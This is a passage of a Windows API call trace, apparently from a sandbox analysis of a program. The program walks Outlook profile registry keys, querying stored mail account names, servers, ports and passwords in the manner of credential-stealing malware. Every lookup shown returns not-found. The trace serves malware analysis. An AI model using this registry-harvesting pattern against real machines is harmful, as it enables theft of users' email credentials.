[0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.318] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.318] RegCloseKey (hKey=0x71c) returned 0x0 [0096.318] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.319] RegCloseKey (hKey=0x71c) returned 0x0 [0096.319] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.319] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.320] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.320] RegCloseKey (hKey=0x71c) returned 0x0 [0096.320] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.321] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.321] RegCloseKey (hKey=0x71c) returned 0x0 [0096.321] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.321] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.322] RegCloseKey (hKey=0x71c) returned 0x0 [0096.322] LocalFree (hMem=0x28e7670) returned 0x0 [0096.322] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x9, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="71b0295bef58e344911262b243f005ac", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.322] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.322] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.322] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac") returned 88 [0096.322] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.322] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.322] RegCloseKey (hKey=0x71c) returned 0x0 [0096.322] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.322] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.322] RegCloseKey (hKey=0x71c) returned 0x0 [0096.322] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.322] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.322] RegCloseKey (hKey=0x71c) returned 0x0 [0096.322] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.322] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.322] RegCloseKey (hKey=0x71c) returned 0x0 [0096.322] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.322] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.323] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.323] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.323] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.323] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.323] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.323] RegCloseKey (hKey=0x71c) returned 0x0 [0096.323] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.324] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.324] RegCloseKey (hKey=0x71c) returned 0x0 [0096.324] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] 